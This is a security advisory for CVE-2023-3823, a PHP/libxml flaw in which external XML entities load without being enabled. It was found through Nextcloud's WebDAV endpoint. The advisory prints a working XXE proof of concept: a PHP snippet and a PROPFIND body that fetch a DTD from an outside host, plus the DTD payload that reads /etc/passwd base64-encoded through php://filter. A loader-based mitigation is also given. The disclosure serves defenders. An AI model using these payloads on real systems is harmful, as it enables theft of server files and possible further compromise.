Skip to content

Security issue with external entity loading in XML without enabling it

High
smalyshev published GHSA-3qrf-m4j2-pcrr Aug 5, 2023

Package

No package listed

Affected versions

< 8.0.30

Patched versions

8.0.30

Description

Summary

After working on the issue some days, we more and more come to the assumption, that the actual issue is lower in the stack than the Nextcloud Server's PHP code. We were able to isolate it to a few lines of plain PHP code (but seemling only after performing a "Nextcloud login")

Details

After working on the issue some days, we more and more come to the assumption, that the actual issue is lower in the stack than the Nextcloud Server's PHP code. We were able to isolate it to a few lines of plain PHP code (but seemling only after performing a "Nextcloud login"), see POC below.

Randomness

The behaviour seems to depend on some "random" factors. A suggestion at the moment is that it's working on the first run in a PHP/Apache process more often then on reused.

  • We were never able to produce it on Nginx with PHP-FPM
  • We were never able to produce it on CLI
  • We were able to reproduce it with latest maintenance versions of PHP 8.0, 8.1 and 8.2 together with Apache2 on Debian
  • We were unable to reproduce it with latest maintenance versions of PHP using Apache2 on Ubuntu, but the original reporter seems to be running on Ubuntu.

We are sorry that we are unable to give a clearer indication here, but think that the issue is to critical to ignore or keep to ourselves, just because we fail to give clear reproduction systems, because to us it seems like any system consuming XML is affected.

The most reliable system to reproduce it on is our "Developer Docker": https://github.com/juliushaertl/nextcloud-docker-dev/#standalone-containers but that comes with quite some overhead. The enabled PHP modules and PHPINFO output is available here https://gist.github.com/juliushaertl/b458983b5fe87b31bd98ff2dc2468e97 On that system a Nextcloud user admin with password admin is automatically created and the attack can then be executed with a PROPFIND against the dav endpoint:

PROPFIND /remote.php/dav/files/<username>/

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "https://bin.icewind.me/r/p0gzLJ"> %remote; %intern; n%trick;]>
<d:propfind  xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">
  <d:prop>
    <oc:fileid />
  </d:prop>
</d:propfind>

We hope that you can shed light on the situation, to help keeping the PHP world secure, by either confirm there is an issue somewhere inside PHP, libxml2, Apache2 or something else, or pointing us to something that brings clearness why it only happens sometimes.

PoC

<?php
$xml= "<?xml version='1.0' encoding='utf-8' ?><!DOCTYPE root [<!ENTITY % remote SYSTEM \"https://bin.icewind.me/r/p0gzLJ\"> %remote; %intern; %trick;]><D:propfind xmlns:D='DAV:'><D:allprop/></D:propfind>";
libxml_use_internal_errors(true);
$dom = new DOMDocument();
$dom->loadXML($xml);
echo $dom->textContent;
foreach (libxml_get_errors() as $error) {
		var_dump($error);
}

If you don't want to run code from our servers, you can replace https://bin.icewind.me/r/p0gzLJ with a link of your own, and make it serve the following content:

<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % intern "<!ENTITY &#37; trick SYSTEM 'file://WOOT%payload;WOOT'>">

The problem we are now facing is the following:

In most cases we correctly receive:

PEReference: %intern; not found on line …, column …

the reporter mentioned that when this happens we should try to run it multiple times, and indeed on some systems we received a different response after some runs:

WOOT{{base64 encoded content of /etc/passwd}}WOOT

Mitigation

Our current "fix" to the problem is to set an external entity loader (although it's disabled by default and never enabled actively on our side)

libxml_set_external_entity_loader(function () { return null; });

In most cases that leaves the response unchanged with:

PEReference: %intern; not found on line …, column …

But in "successful" cases it now only responds with the following instead of the base64 encoded password file:

Failed to load external entity "NULL" on line 0, column 0

Interestingly setting the entity loader to null is not enough and still leaves the system vulnerable:

libxml_set_external_entity_loader(null);

Impact

  • What: The result is a XXE with potential to escalate into a RCE
  • Who: Every application/library/server that is parsing/interacting with XML documents

Severity

High
8.6
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
Low
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

CVE ID

CVE-2023-3823

Weaknesses

Credits